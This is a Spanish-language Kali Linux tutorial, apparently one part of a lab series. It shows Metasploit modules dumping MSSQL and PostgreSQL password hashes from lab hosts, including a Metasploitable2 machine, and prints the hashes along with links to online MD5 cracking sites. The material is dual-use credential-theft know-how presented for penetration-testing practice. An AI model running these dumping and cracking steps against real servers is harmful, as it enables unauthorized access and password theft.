bueno en ocasiones nos podemos encontrar con algunos hashes, los cuales recolectamos en el camino o descubrimos en las fase de explotación, con kali Linux también podemos identificar qué tipo de hash tenemos para después poder romperlos con diferentes herramientas que vienen por defecto en la instalación de nuestro amado kali Linux.

Una gran herramienta que podemos usar dentro de kali es la herramienta hash-identifier

Pero primero vamos a descargar los hashes de las explotaciones anteriores.

msf5 > search hashdump

msf5 > use 5

msf5 auxiliary(scanner/mssql/mssql\_hashdump) > show options

Module options (auxiliary/scanner/mssql/mssql\_hashdump):

Name Current Setting Required Description

---- --------------- -------- -----------

PASSWORD no The password for the specified username

RHOSTS 192.168.52.222 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

RPORT 1433 yes The target port (TCP)

TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"

THREADS 1 yes The number of concurrent threads

USERNAME sa no The username to authenticate as

USE\_WINDOWS\_AUTHENT false yes Use windows authentification (requires DOMAIN option set)

msf5 auxiliary(scanner/mssql/mssql\_hashdump) > set PASSWORD password

PASSWORD => password

msf5 auxiliary(scanner/mssql/mssql\_hashdump) > run

[\*] 192.168.52.222:1433 - Instance Name: "SQLEXPRESS"

[+] 192.168.52.222:1433 - Saving mssql05 = sa:01004086ceb6e0bc04fe5027a51df29e1cf0b74dd3c33214d9db

[\*] 192.168.52.222:1433 - Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

msf5 auxiliary(scanner/mssql/mssql\_hashdump) >

Ahora vamos a hacer lo mismo para la otra explotación con la maquina metasplotaible2

Buscaremos el modulo

msf5 auxiliary(scanner/mssql/mssql\_hashdump) > use 9

Vemos las opciones

msf5 auxiliary(scanner/postgres/postgres\_hashdump) > show options

Agregamos el host.

msf5 auxiliary(scanner/postgres/postgres\_hashdump) > set rhosts 192.168.0.170

Y explotamos

msf5 auxiliary(scanner/postgres/postgres\_hashdump) > run

[+] Query appears to have run successfully

[+] Postgres Server Hashes

======================

Username Hash

-------- ----

postgres md53175bce1d3201d16594cebf9d7eb3f9d

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

root@computaxion:~# hash-identifier

Pero primero vamos a ver nuestra bd para ver si se nos guardaron nuestras credenciales.

Ahora en otra consola vamos a ver los hashes que tenemos dentro de nuestra bd

3175bce1d3201d16594cebf9d7eb3f9d

5027a51df29e1cf0b74dd3c33214d9db

ca4f44a8103a0cf3a5a9074bb75af180

0e61d0c92e5abaf84358584a763bf2e0899eeabf

f5b8569f25528d10c56fe9808b0aa9e3

0ac6cd34e2fac333bf0ee3cd06bdcf96

c1a11f61c989f5f3b38da9b7b35145c1

fa0a5b2fa1cf0a31ae9e8d793ce880bb

Un hash MD5 está compuesto por 32 caracteres hexadecimales.

Sitios web de interés.

https://hashkiller.co.uk/

https://www.md5online.org/md5-decrypt.html

https://md5hashing.net/hash/md5